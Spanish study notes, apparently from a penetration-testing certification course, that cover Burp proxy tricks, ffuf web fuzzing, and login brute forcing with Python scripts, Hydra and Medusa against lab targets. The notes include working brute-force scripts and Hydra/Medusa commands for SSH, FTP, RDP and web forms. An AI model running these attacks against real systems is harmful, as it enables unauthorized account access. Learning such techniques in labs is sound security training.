- Si recargamos la pagina, en la respuesta vemos que en el HTML hay un boton con disabled por lo que creamos una regla para que las palabras disabled las cambie por nada
![[Pasted image 20260707095534.png]]![[Pasted image 20260707095632.png]]![[Pasted image 20260707095647.png]]
- Si volvemos a recargar la pagina vemos que disabled ya no aparece por lo que podemos mandar todo (forward) y podemos darle al boton hasta que nos devuelva la flag como respuesta
![[Pasted image 20260707095716.png]]![[Pasted image 20260707095731.png]]![[Pasted image 20260707095811.png]]
- La pagina /admin.php tiene una cookie que esta endodeada multiples veces. Trata de decodificara la cookie hasta que tengas un valor de 31 caracteres
- Visitamos la pagina y ponemos valores de prueba y enviamos el form para ver la solicitud en el proxy
![[Pasted image 20260707100206.png]]![[Pasted image 20260707100220.png]]
- Dentro de la solicitud vemos la cookie, si la llevamos al decoder y la decodificamos en ASCII y luego en BASE64 obtenemos la flag
![[Pasted image 20260707100232.png]]![[Pasted image 20260707100331.png]]
- Parece un MD5, trata de fuzzear un ultimo caracter mas del MD5 con caracteres alfanumericos mientras codificas el resultado con los metodos que hemos encontrado. Podemos usar la wordlist de alphanum-case.txt de la seclist
-
La solicitud HTTP la mandamos a intruder
![[Pasted image 20260707124149.png]]
-
Ponemos la cookie dentro del puntero y añadimos la wordlist y los procesadores (uno con el hash completo md5 como prefijo, un codificados a base64 y un codificador a ASCII hex)
![[Pasted image 20260707125940.png]]![[Pasted image 20260707124254.png]]
![[Pasted image 20260707125933.png]]
- Al realizar el ataque vemos que el que tiene mas respuesta tiene la flag
![[Pasted image 20260707130413.png]]
- Usando el modulo de MSF “auxiliary/scanner/http/coldfusion_locale_traversal” ves que no funciona bien por lo que decides capturar la solicitud y verificar manualmente y repetirlo. Capturando la solicitud, que directorio llamado /XXXX/administrator/,,, se llama?
- Usamos el modulo y lo configuramos para que pase por el proxy Burp y con este interceptando las solicitudes HTTP vemos la solicitud que hace
![[Pasted image 20260707131108.png]]
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 1. Introduccion
1. Introduccion
ffuf: es una herramienta para fuzzing web:
- Fuzzing de directorios
- Fuzzing de archivos y extensiones
- Identificación de hosts virtuales (vhosts) ocultos
- Fuzzing de parámetros PHP
- Fuzzing de valores de parámetros
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 2. Fuzzing Basico Y WEB
1. Fuzzing WEB
Instalacion
Repositorio de GitHub
o
apt install fuff -y
Directorios
- Tenemos un sitio web como objetivo, no tiene enlaces ni da informacion de mas paginas
![[Pasted image 20260707131907.png]]
- Hacemos fuzzing para encontrar directorios que nos devuelvan un 200 OK usando wordlists de SecLists
/use/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
-ic: en fuff quita las lineas de comentarios que vienen con las wordlists
-t N: numero de threads (si es muy alto puede generar DoS)
ffuf -w /RUTA/WORDLIST:FUZZ -u http:IP:PORT/FUZZ -ic -t 200
![[Pasted image 20260707132435.png]]
Ejemplo practico
- Hacemos Fuzzing de directorios al sitio web y encontramos dos directorios
![[Pasted image 20260707133010.png]]
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 2. Fuzzing Basico Y WEB
2. Fuzzing De Paginas
En el ejemplo anterior tuvimos acceso a /blog pero estaba vacia. Usaremos fuzzing de paginas para encontrar paginas ocultas con extensiones tipicas de web (.html, .aspx, .php…)
Una forma de hacerlo es mirando la cabecera, sabiendo que se trata de un Apache podemos buscar .php, si fuese un IIS buscariamos .asp o .aspx…
/usr/share/seclists/Discovery/Web-Content/web-extensions.txt
- Haremos el fuzz sobre el archivo index que es el que siempre esta en la mayoria de casos
fuff -w /RUTA/WORDLIST_EXTENSIONES -u http://IP:PORT/blog/indexFUZZ
Si no existe podemos usar dos wordlist (1 para el nombre /use/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt y otra para las extensiones /usr/share/seclists/Discovery/Web-Content/web-extensions.txt)
fuff -w /RUTA/WORDLIST_NOMBRES:FUZZ1 /RUTA/WORDLIST_EXTENSIONES:FUZZ2 -u http://IP:PORT/FUZZ1.FUZZ2 -ic -t 200
![[Pasted image 20260707134509.png]]
- Como vemos usando index obtuvimos un par de resultados .php por lo que ahora podemos hacer FUZZ de NOMBRE.php
fuff -w /use/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://IP:PORT/FUZZ.php
o podemos por -e php en vez de .php para especificar la extension
![[Pasted image 20260707134640.png]]
- Obtenemos resultados sin size 0 por lo que no estan vacios
![[Pasted image 20260707134716.png]]
Ejercicio practico
- Buscamos extensiones en /blog y encontramos que son .php
![[Pasted image 20260707135122.png]]
- Buscamos paginas .php y encontramos /home donde estaba la flag
![[Pasted image 20260707135104.png]]![[Pasted image 20260707135055.png]]
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 2. Fuzzing Basico Y WEB
3. Fuzzing Recursivo
De forma predeterminada cuando se encuentra un directorio si esta habilitada el fuzz de forma recursiva, se realizara el fuzz en ese directorio encontrado muchos directorios pueden tener muchos subdirecotorios y puede hacerse lento (/login/user/content/uploads/…etc)
Para que no se haga lento podemos especificar la profundidad
- Especificamos en el fuzz que se haga de forma recursiva y la profundidad
/use/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
fuff -w /RUTA/WORDLIST_DIRECTORIOS:FUZZ -u http://IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php
![[Pasted image 20260707140201.png]]
Ejercicio practico
- Realizamos el fuzzing recursivo desde la raiz y vemos como va encontrando directorios y añadiendo threads
![[Pasted image 20260707141017.png]]![[Pasted image 20260707141053.png]]
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 3. Fuzzing De Dominios
1. Registros DNS
Accediendo a /blog vimos un mensaje de que Admin panel moved to academy.htb
Si visitamos academy.htb vemos que pone cant connect to the server:
![[Pasted image 20260707152620.png]]
Esto se debe a que el lab es interno y primero busca en /etc/hosts y luego en DNS publicos, sino lo encuentra no puede acceder a el. Si pasamos la IP si que sabe como acceder y lo encuentra
Para acceder lo tenemos que meter en nuestro /etc/hosts:
sudo sh -c 'echo "SERVER_IP academy.htb" >> /etc/hosts'
Ahora ya podemos acceder añadiendo el PORT a la maquina
![[Pasted image 20260707153334.png]]
Como vemos es lo mismo que antes por lo que probablemente sea un CCNAME del mismo dominio y si hacemos fuzzing de directorios no encontraremos nada de admin. Haremos fuzzing de subdominios
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 3. Fuzzing De Dominios
2. Fuzzing De Subdominios
Subdominios
Un subdominio es un sitio web que subyace de otro sitio web como google.com –> photos.google.com
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
- Realizamos el fuzz de subdominios
ffuf -w /RUTA/WORDLIST_DOMAINS:FUZZ -i http://FUZZ.DOMAIN -ic -t 200
![[Pasted image 20260707154504.png]]
Si lo hacemos con academy.htb veremos que no sale nada y eso NO SIGNIFICA QUE NO EXISTA sino que los subdominios no son publicos y si no estan en el /etc/hosts, tampoco los va a encontrar en DNSs publicos
Ejemplo practico
- Hacemos el fuzzing de subdominios para el dominio inlanefreight.com
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 3. Fuzzing De Dominios
3. Fuzzing De Vhosts
La diferencia de un Vhost con un subdominio es basicamente que el Vhost es un subdominio servido desde el mismo servidor que el primer dominio por lo que comparte misma IP y a diferencia del subdominio si no es publico podremos encontrarlo gracias a que tendremos la IP del primer dominio en /etc/hosts
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
- Realizamos fuzzing de vhosts:
fuff -w /RUTA/WORDLIST_DOMINIOS:FUZZ -u http://DOMAIN:PORT/ -H 'Host: FUZZ.DOMAIN' -ic -t 200
![[Pasted image 20260707155627.png]]
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 3. Fuzzing De Dominios
4. Filtrando Resultados
| Parámetro |
Explicación |
Ejemplo |
-mc |
Mostrar códigos HTTP |
-mc 200,301 |
-ml |
Mostrar por líneas |
-ml 20 |
-mr |
Mostrar por regex |
-mr "admin" |
-ms |
Mostrar por tamaño |
-ms 1024 |
-mw |
Mostrar por palabras |
-mw 150 |
-fc |
Ocultar códigos HTTP |
-fc 404 |
-fl |
Ocultar por líneas |
-fl 20 |
-fr |
Ocultar por regex |
-fr "Not Found" |
-fs |
Ocultar por tamaño |
-fs 1024 |
-fw |
Ocultar por palabras |
-fw 150 |
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
- Realizamos un fuzzing y filtramos por el tamaño de la pagina
ffuf -w /RUTA/WORDLIST_DOMAIN -u http://DOMAIN:PORT/ -H 'Host: FUZZ.DOMAIN' -ic -t 200 -fs 900
![[Pasted image 20260707161042.png]]
- Verificamos que nos podemos conectar:
![[Pasted image 20260707161243.png]]
Ejemplo practico
- Metemos el dominio y la IP en /etc/hosts para que podamos acceder a el
![[Pasted image 20260707161235.png]]
- Realizamos un fuzzing de vhosts y vimos que todas las salidas nos daban el mismo resultado por lo que filtramos por tamaño de la salida y encontramos dos vhosts
![[Pasted image 20260707161731.png]]![[Pasted image 20260707161741.png]]![[Pasted image 20260707161820.png]]
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 4. Fuzzing De Parametros
1. Get
Si hacemos un escaneo recursivo de admin.academy.htb encontraremos: http://admin.academy.htb:PORT/admin/admin.php
Si intentamos acceder a la pagina veremos:
![[Pasted image 20260707164529.png]]
Esto significa que debe haber algun parametro que permita leer la flag ya que no hemos iniciado sesion ni vemos ninguna cookie en la peticion que sea verificable en el backend
Para hacer fuzzing de parametro y encontrar parametros GET:
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
ffuf -w /RUTA/WORDLIST_PARAMETROS -u http://admin.academy.htb:PORT/admin/admin.php?FUZZ=key -fs N
![[Pasted image 20260707164839.png]]
Encontramos un hit y si intentamos acceder usando el parametro podremos ver la flag:
![[Pasted image 20260707164918.png]]
Ejemplo practico
- Hacemos fuzzing recursivo de directorios del subdomonio admin.academy.htb y obtenemos /admin/admin.php
![[Pasted image 20260707165134.png]]
- Accedemos a el y vemos que no podemos leer la flag
![[Pasted image 20260707165236.png]]
- Si interceptamos la solicitud no vemos cookies ni codigo JS que nos deshabilite la vision por lo que es probable que se trate de un parametro GET
![[Pasted image 20260707165346.png]]
- Realizamos un fuzz de parametros en el sitio web y como nos daba los mismos resultados realizamos un filtrado por tamaño y obtuvimos el parametro
![[Pasted image 20260707165609.png]]![[Pasted image 20260707165650.png]]
- Accedimos al web con el paremetro y el pusimos =admin:
![[Pasted image 20260707165733.png]]
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 4. Fuzzing De Parametros
2. Post
La principal diferencia entre los parametros GET y POST es que los POST no se pasan por URL y no se pueden poner tras un ?
Los POST se pasan dentro de la data de la solicitud HTTP
Para hacer fuzzing en el campo data:
ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx
-X POST: para indicar que es un metodo POST
-d ‘FUZZ=key’: para realizar el fuzzing de parametros en la data de la solicitud HTTP
-H ‘Content Type: application/x-www-form-urlencoded’: esto es necesario especificarlo porque es el Content Type que tienen las solicitudes POST
![[Pasted image 20260707170246.png]]
Obtuvimos dos parametros:
Vamos a probar a enviar un solicitud HTTP con el parametro id:
curl http://admin.academy.htb/admin/admin.php -X POST -d 'id=key' -H 'Content-Type application/x-www-form-urlencoded'
![[Pasted image 20260707170503.png]]
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 4. Fuzzing De Parametros
3. Fuzzing De Valores
Wordlist personalizada
Creamos una wordlist personalizada dependiendo del parametro que hayamos obtenido. Para el de id necesitaremos numeros:
for i in $(seq 1 1000); do echo $i >> ids.txt; done
![[Pasted image 20260707170805.png]]
Ahora lo usamos:
ffuf -w ./ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php?id=FUZZ -fs X
ffuf -w ./ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs XXX
![[Pasted image 20260707171028.png]]
Ejemplo practico
- Hacemos el fuzzing del valor del parametro por POST y vemos que dan todos el mismo resultado por lo que filtramos por tamaño
![[Pasted image 20260707171551.png]]
Obtenemos el valor 73:
![[Pasted image 20260707171619.png]]
- Visitamos el sitio web con ese valor para el parametro y obtenemos la flag:
![[Pasted image 20260707171814.png]]
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 5. Skill Assessment
1. Skill Assessment
Se pide que localices todas las paginas y dominios vinculados a la IP (VHOSTs) y los dominios
Finalmente tendremos que ver si alguna de las paginas tiene parametros para interactuar
- Busca vhosts del dominio academy.htb
- Metemos la IP y dominio en /etc/hosts
![[Pasted image 20260707203737.png]]
- Realizamos el fuzing de vhosts y vemos que nos da los mismos resultados asi que filtramos por tamaño
![[Pasted image 20260707203809.png]]![[Pasted image 20260707203832.png]]
- Encontrar las extensiones permitidas
- Metemos los subdominios en /etc/hosts
![[Pasted image 20260707204157.png]]
- Realizamos un fuzing de extensiones y encontramos 3 en todos los subdominios y dominio
![[Pasted image 20260707204533.png]]![[Pasted image 20260707204606.png]]
- En uno de los subdominios habra una pagina que pondra no have access. Primero lo haremos por faculty ya que es la que tenia 3 extensiones y me ha llamado la atencion.
- Hacemos un fuzing recursivo de archivos .php, phps y .php7 y vimos que nos daba la misma respuesta por lo que filtramos por tamaño. Luego encontramos un directorio al que no tenemos acceso
![[Pasted image 20260707205145.png]]![[Pasted image 20260707205304.png]]
- Accedemos a el
![[Pasted image 20260707205401.png]]
- Esta pagina tiene parametros, encuentralos
- Hacemos fuzing de parametros GET
![[Pasted image 20260707205651.png]]![[Pasted image 20260707205704.png]]
Vemos uno que es user
- Usamos para poner user=admin como parametro GET pero el metodo no esta mas en uso
![[Pasted image 20260707205741.png]]
- Hacemos un fuzzing de parametros POST
![[Pasted image 20260707205930.png]]
Vemos otro que es username que podemos usar
- Fuzzea el valor del parametro
- Fuzzeamos el valor del parametro con la wordlist de /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt y encontramos un username
![[Pasted image 20260707210523.png]]
- Accedemos a la pagina web con ese parametro
![[Pasted image 20260707210644.png]]
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 1. Introduccion
1. Introduccion
Ataque de fuerza bruta es un metodo de ensayo y error que se usa para descifrar constraseñas probando todas las combinaciones posibles
El exito depende de:
- Complejidad
- Poder computacional
- Medidas de seguridad
![[Pasted image 20260708132609.png]]
Tipos de ataque de fuerza bruta
- Simple brute force: prueba sistematica de todas las combinaciones posibles dentro de un conjunto de caracteres en un rango de longitud
- Dictionary Attack: usa una lista precompilada de palabras, frases y contraseñas comunes
- Hybrid Attack: combina elementos de ataques de fuerza bruta y diccionario añadiendo caracteres
- Credential Stuffing: aprovecha credenciales filtradas de un servicio para acceder a otros (reutilizacion)
- Password Spraying: se intenta un pequeño numero de contraseñas sobre un gran numero de usernames
- Rainbow table attack: se usan tablas precalculadas de hashes de contraseñas para revertir hahes y recuperar las contraseñas en texto plano
- Reverse brute force: dirige una unica contraseña contra multiples nombres de usuario
- Distributed Brute Force: distribuye la carga de trabajo de fuerza bruta en varios ordenadores
Fundamentos de la seguridad de contraseñas
Importancia de las contraseñas seguras
-
Anatomia de una contraseña segura:
- Longitud: cuanto mas larga mejor. Minimo 12 caracteres
- Complejidad: uso de minusculas, mayusculas, numeros, caracteres especiales…
- Unicidad: no reutilizacion de credenciales
- Aleatoriedad: evitar usar palabras de diccionario, info personal o frases comunes
-
Debilidades comunes:
- Contraseñas cortas
- Palabras y frases comunes
- Informacion personal
- Reutilizacion de contraseñas
- Patrones predecibles
-
Politicas de contraseñas
- Longitud minima
- Complejidad
- Caducidad de las contraseñas
- Historial de contraseñas
Peligros de credenciales predeterminadas
/usr/share/seclists/Usernames/top-usernames-shortlist.txt
![[Pasted image 20260708133538.png]]![[Pasted image 20260708133550.png]]
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 2. Ataques De Fuerza Bruta
1. Ataques De Fuerza Bruta
Las matematicas detras de un ataque de fuerza bruta son:
Numero de combinaciones = NumCaracteres^Longitud
![[Pasted image 20260708133805.png]]![[Pasted image 20260708133816.png]]
Ejemplo descifrando un PIN de 4 digitos
- Preparamos un script en Python
import requests
ip = "IP"
port = PUERTO
for pin in range(10000): #1000 porque va de 0000 - 9999
formatted_pin = f"{pin:04d}" #esto convierte cualquier numero en formato 4 cifras
print(f"Intento PIN: {formatted_pin}")
response = requests.get(f"http://{ip}:{port}/pin?pin={formatted_pin}")
if response.ok and 'flag' in response.json():
print(f"PIN Correcto: found {formatted_pin}")
print(f"Flag: {response.json()['flag']}")
break
- Usamos el script contra la pagina web para encontrar el PIN correcto por parametro GET
![[Pasted image 20260708134710.png]]
Ejercicio practico
- Creamos el script de python y lo ejecutamos para obtener la flag
![[Pasted image 20260708140142.png]]![[Pasted image 20260708140719.png]]
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 2. Ataques De Fuerza Bruta
2. Ataques De Diccionario
El ataque de fuerza bruta simple puede consumir muchos recursos
En el ataque de diccionario se usan wordlists precompilada de palabras y frases reduciendo el espacio de busqueda
Tipos de wordlists:
- Publicly Available Lists
- Custom-Built Lists
- Specialized Lists
- Preexisting Lists
![[Pasted image 20260708154145.png]]
Ejemplo con script de python
import requests
ip="IP"
port=PORT
passwords="requests.get("https://...").text.splitlines()"
for password in passwords:
print(f"Password Intentada: {password}")
respuesta = requests.post(f"http://{ip}:{port}/dictionary", data={'password':password})
if respuesta.ok and 'flag' in respuesta.json():
print(f"Respuesta Correcta Encontrada: {password}")
print(f"Flag: {respuesta.json()['flag']}")
break
Otra opcion para en vez de leer el archivo online sino abrir una wordlist local:
with open("/RUTA/WORDLIST") as f:
passwords = f.read().splitlines()
Ejecutamos
python3 ataque_diccionario.py
Ejemplo practico
![[Pasted image 20260708160317.png]]![[Pasted image 20260708160328.png]]
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 2. Ataques De Fuerza Bruta
3. Ataques Hibridos
La politica que hace que se cambien contraseñas seguidamente, hace que se creen patrones entre unas contraseñas y otras
![[Pasted image 20260708160705.png]]
Imaginemos un ataque hacia una empresa en la que sabemos que les hacen cambios de contraseñas periodicamente:
![[Pasted image 20260708160806.png]]
El atacante comienda con un ataque de diccionario usando una wordlist, pero esta no tiene exito por lo que se pasa a un ataque hibrido. En lugar de probar contraseñas al azar, modificamos las de la wordlist de forma estrategica
El poder de los ataques hibridos
Escenario: tenemos una wordlists de palabras y contraseñas comunes que se usan en el sector de la empresa que estamos auditando y la politica de contraseñas es:
- Longitud de 8
- Debe incluir
- Una mayuscula
- Una minuscula
- Un numero
Usaremos las wordlist:
/usr/share/seclists/Passwords/Common-Credentials/darkweb2017_top-10000.txt
Empezamos a modificar la lista para que coincida con las politicas:
- Omitimos las contraseñas con mas de 8 caracteres
grep -E '^.{8,}' darkweb2017_top-10000.txt > darkweb2017-minlength.txt
- Omitimos las contraseñas sin minusculas
grep -E '[a-z]' darkweb2017-uppercase.txt > darkweb2017-lowercase.txt
- Omitimos las contraseñas sin mayusculas
grep -E '[A-Z]' darkweb2017-uppercase.txt > darkweb2017-lowercase.txt
- Omitimos las contraseñas sin numeros
grep -E '[0-9]' darkweb2017-lowercase.txt > darkweb2017-number.txt
- Podemos contar las entradas con las que se ha quedado el archivo
wc -l darkweb2017-number.txt
Reutilizacion de credenciales
Muchos usuarios reutilizan sus credenciales en varios sitios
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 3. Hydra
1. Hydra
Es un cracker de inicio de sesion red que soporta multiples protocolos y servicios
- Veloz
- Flexible
- Facil de usar
Instalacion
sudo apt install hydra -y
Uso basico
hydra -l USER/-L WORDLIST -p PASS/-P WORDLIST protocolo://IP:PORT
| Parámetro |
Explicación |
-l USER |
Especifica un único usuario. |
-L FILE |
Carga lista de usuarios. |
-p PASS |
Especifica una única contraseña. |
-P FILE |
Carga lista de contraseñas. |
-C FILE |
Archivo usuario:contraseña por línea. |
-x MIN:MAX:CHARSET |
Genera contraseñas automáticamente. |
-e nsr |
Prueba nulas, usuario e invertida. |
-t TASKS |
Número de hilos simultáneos. |
-T TASKS |
Máximo de conexiones objetivo. |
-f |
Detiene tras primer éxito. |
-F |
Detiene todos los objetivos. |
-s PORT |
Utiliza puerto personalizado. |
-S |
Fuerza conexión mediante SSL/TLS. |
-v |
Muestra información detallada. |
-V |
Muestra cada intento realizado. |
-d |
Activa salida de depuración. |
-o FILE |
Guarda resultados en archivo. |
-b FORMAT |
Formato del archivo resultados. |
-R |
Reanuda sesión interrumpida previamente. |
-I |
Ignora archivo de restauración. |
-u |
Prueba usuarios en paralelo. |
-w TIME |
Tiempo espera entre conexiones. |
-W TIME |
Espera entre reconexiones objetivo. |
-4 |
Fuerza uso de IPv4. |
-6 |
Fuerza uso de IPv6. |
-M FILE |
Lista de múltiples objetivos. |
-m OPT |
Opciones específicas del módulo. |
-U |
Muestra ayuda del módulo. |
service://target |
Define servicio y objetivo. |
| Servicio |
Descripción |
ftp |
Transferencia de archivos FTP. |
ssh |
Acceso remoto seguro SSH. |
http-get |
Autenticación web mediante GET. |
http-post-form |
Autenticación web mediante POST. |
https-get |
Autenticación HTTPS mediante GET. |
https-post-form |
Autenticación HTTPS mediante POST. |
smtp |
Envío de correo electrónico SMTP. |
pop3 |
Recepción de correo POP3. |
imap |
Acceso remoto a correo IMAP. |
mysql |
Base de datos MySQL. |
mssql |
Base de datos Microsoft SQL Server. |
postgres |
Base de datos PostgreSQL. |
oracle |
Base de datos Oracle. |
redis |
Base de datos Redis. |
mongodb |
Base de datos MongoDB. |
vnc |
Acceso remoto mediante VNC. |
rdp |
Escritorio remoto de Windows. |
smb |
Compartición de archivos Windows. |
ldap |
Servicio de directorio LDAP. |
snmp |
Gestión y monitorización de red. |
telnet |
Acceso remoto sin cifrado. |
smtp-enum |
Enumeración de usuarios SMTP. |
cisco |
Autenticación en dispositivos Cisco. |
cisco-enable |
Contraseña del modo privilegiado Cisco. |
svn |
Repositorios Apache Subversion. |
teamspeak |
Servidor de voz TeamSpeak. |
sip |
Protocolo de telefonía VoIP. |
pcanywhere |
Acceso remoto pcAnywhere. |
rexec |
Ejecución remota de comandos. |
rlogin |
Inicio de sesión remoto Unix. |
rsh |
Shell remoto Unix. |
Fuerza bruta en HTTP
hydra -L WORDLIST -P WORDLIST www.domain.com http-get /login
hydra -l USER -P WORDLIST www.domain.com http-post-form "/login:user=^USER^&pass^PASS^:S=302"
302 es el codigo de sesion exitosa
Fuerza bruta en ssh
hydra -l USER -p PASS -M LISTA_IPS ssh
Fuerza bruta FTP
hydra -L WORDLIST -P WORDLIST -s 2121 ftp.domain.com ftp
Fuerza bruta RDP Avanzada
hydra -l USER -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 IP rdp
Prueba contraseñas de 6 - 8 caracteres usando los caracteres pasados
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 3. Hydra
2. Autenticacion HTTP Basica
La autenticacion HTTP basica (Basic HTTP Authorization) se suele usar aunque es rudimentario para asegurar recursos web
Es un protocolo de desafio-respueta en el que el servidor exige las credenciales del usaurio antes de dar acceso a los recursos protegidos:
- Usuario intenta acceder a pagina restringida
- El servidor responde con un 401 Unauthorized y una cabecera WWW-Authenticate que solicita al navegador del usuario las credenciales
- La cedana pasada por el usuario se unifica en USER:PASS, se codifica en BASE64 y se incluye en la cabecera Authentication de las peticiones posteriores con formato
Basic BASE64_Creds
- El servidor decodifica las credenciales y las verifica en su base de datos y concede o deniega la entrada
![[Pasted image 20260708173824.png]]
hydra -l basic-auth-user -P /WORDLIST_PASS 127.0.0.1 http-get / -s PUERTO
![[Pasted image 20260708174045.png]]
-l USER: especificamos el usuario
-P /WORDLIST: especificamos la wordlist de passwords
127.0.0.1: IP destino
http-get /: objetivo
-s PUERTO: especificamos el puerto
Ejemplo practico
![[Pasted image 20260708174901.png]]
![[Pasted image 20260708174845.png]]![[Pasted image 20260708174925.png]]
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 3. Hydra
3. Formularios De Inicio De Sesion
Aunque visualmente son diversos, suelen tener las mismas mecanicas subyacentes:
![[Pasted image 20260708175325.png]]
Este es un ejemplo. Cuando se envia se realiza una solicitud POST al /login en el que se incluye el nombre de usuario y contraseña como datos:
![[Pasted image 20260708175413.png]]
En este tipo de formularios, el navegador captura las credenciales ingresadas (normalmente usando JS) para su validacion del lado del cliente o saneamiento de entrada. Luego lo envia en un HTTP POST donde se encapsulan los datos del formulario incluyendo nombre de usuario y contraseña dentro de su cuerpo y codificados como application/x-www-form-urlencoded o multipart/form-data
hydra -l user/-L WORDLIST -p PASS/-P WORDLIST -f IP -s PORT http-post-form "/login:PARAM1=^USER^&PARAM2:^PASS^:F=Invalid credentials/S=302/S=Dashboard"
F=…: es una condicion de fallo, cuando no se de sera que es autenticacion exitosa
- Invalid credentials: es un ejemplo que sale cuando la autenticacion no es exitosa (se debe mirar en la pagina web a ver si existe algun texto o algo que se pueda usar)
S=…: es una condicion de exito cuando se de sera que es autenticacion exitosa
- 302: es sesion exitosa tras redireccion
- Dashboard o Welcome: son palabras que se suelen poner en la pagina inicial tras la redireccion
Inspeccion manual
En la pagina web donde se encuentra el login form, hacemos CTL+U para ver el codigo HTML y saber los campos que tenemos que poner como parametros:
![[Pasted image 20260708180349.png]]
Vemos metodo POST y nombre de parametros username y password
Luego hacemos click derecho>Inspeccionar y vamos al apartado de red. Enviamos lo que sea en el formulario de login y miramos la solicitud POST que hemos enviado. Ahi podemos revisar los datos del formulario, cabeceras y respuestas del servidor:
![[Pasted image 20260708180644.png]]
Ejemplo practico
- Accedemos a la pagina web
![[Pasted image 20260708180741.png]]
- Miramos el codigo fuente y vemos los parametros que necesita el form
![[Pasted image 20260708180751.png]]
- Probamos a enviar unas credenciales de test mientras vemos en Inspect las solicitudes HTTP que le enviamos a traves de red
![[Pasted image 20260708180816.png]]![[Pasted image 20260708180833.png]]
- Dentro de la solicitud POST que enviamos, vamos a Request y ahi vemos los datos que le enviamos con los nombres de los campos y en Response podemos ver que nos devuelve el error Invalid credentials
![[Pasted image 20260708180847.png]]![[Pasted image 20260708180856.png]]
- Usamos hydra con los nombres de los parametros y filtrando por el error Invalid credentials
![[Pasted image 20260708182522.png]]![[Pasted image 20260708182538.png]]![[Pasted image 20260708182544.png]]
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 4. Medusa
1. Medusa
Herramienta de fuerza bruta masivamente paralela, rapuda y modular
Instalacion
sudo apt install medusa -y
Uso
medusa -h IP -U /RUTA/WORDLIST_USERS -P /RUTA/WORDLIST_PASS -M ssh
| Parámetro |
Explicación |
-h HOST |
Especifica un único objetivo. |
-H FILE |
Carga lista de objetivos. |
-u USER |
Especifica un único usuario. |
-U FILE |
Carga lista de usuarios. |
-p PASS |
Especifica una única contraseña. |
-P FILE |
Carga lista de contraseñas. |
-C FILE |
Archivo usuario:contraseña por línea. |
-M MODULE |
Selecciona el módulo del servicio. |
-m OPTION |
Opciones específicas del módulo. |
-n PORT |
Utiliza un puerto personalizado. |
-t TASKS |
Número de hilos simultáneos. |
-T TIME |
Tiempo espera entre intentos. |
-f |
Detiene al primer éxito local. |
-F |
Detiene al primer éxito global. |
-v LEVEL |
Aumenta nivel de información mostrada. |
-e ns |
Prueba contraseña vacía y usuario. |
-O |
Intenta continuar tras errores. |
-q |
Reduce información en pantalla. |
-w SEC |
Espera respuesta del servidor. |
-V |
Muestra versión de Medusa. |
-d |
Muestra módulos disponibles. |
| Módulo |
Descripción |
ftp |
Transferencia de archivos FTP. |
ssh |
Acceso remoto seguro SSH. |
http |
Autenticación web HTTP. |
https |
Autenticación web HTTPS. |
imap |
Acceso remoto a correo IMAP. |
pop3 |
Recepción de correo POP3. |
smtp |
Envío de correo SMTP. |
mysql |
Base de datos MySQL. |
mssql |
Base de datos Microsoft SQL Server. |
postgres |
Base de datos PostgreSQL. |
oracle |
Base de datos Oracle. |
mongodb |
Base de datos MongoDB. |
rdp |
Escritorio remoto Windows. |
vnc |
Acceso remoto mediante VNC. |
telnet |
Acceso remoto sin cifrado. |
svn |
Repositorios Apache Subversion. |
ldap |
Servicio de directorio LDAP. |
smbnt |
Compartición de archivos Windows. |
ncp |
Servicio Novell NetWare. |
pcanywhere |
Acceso remoto pcAnywhere. |
rexec |
Ejecución remota de comandos. |
rlogin |
Inicio de sesión remoto Unix. |
rsh |
Shell remoto Unix. |
web-form |
Formularios web personalizados. |
Atacando multiples servidores
medusa -H LIST_IPS -U /RUTA/WORDLIST_USERS -P /RUTA/WORDLIST_PASS -M http -m GET
Probando contraseñas vacias
medusa -h IP -U /RUTA/WORDLIST_USERS -e ns -M PROTOCOLO
-e n: contraseñas vacias
-e s: contraseñas que coincidan con el username
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 4. Medusa
2. WEB Services
medusa -h IP -n PORT -u USERNAME -P /RUTA/WORDLIST_PASS -M SERVICIO -t N
-t N: threads
![[Pasted image 20260708185346.png]]
![[Pasted image 20260708185429.png]]
Inicio de sesion en FTP:
ftp ftp://USER:PASS@IP
![[Pasted image 20260708185504.png]]
Ejemplo practico
- Hacemos fuerza bruta sobre el ssh del host por el puerto que nos ha dado la maquina
![[Pasted image 20260708190223.png]]
![[Pasted image 20260708190756.png]]
- Tras conseguir las credenciales nos conectamos via ssh
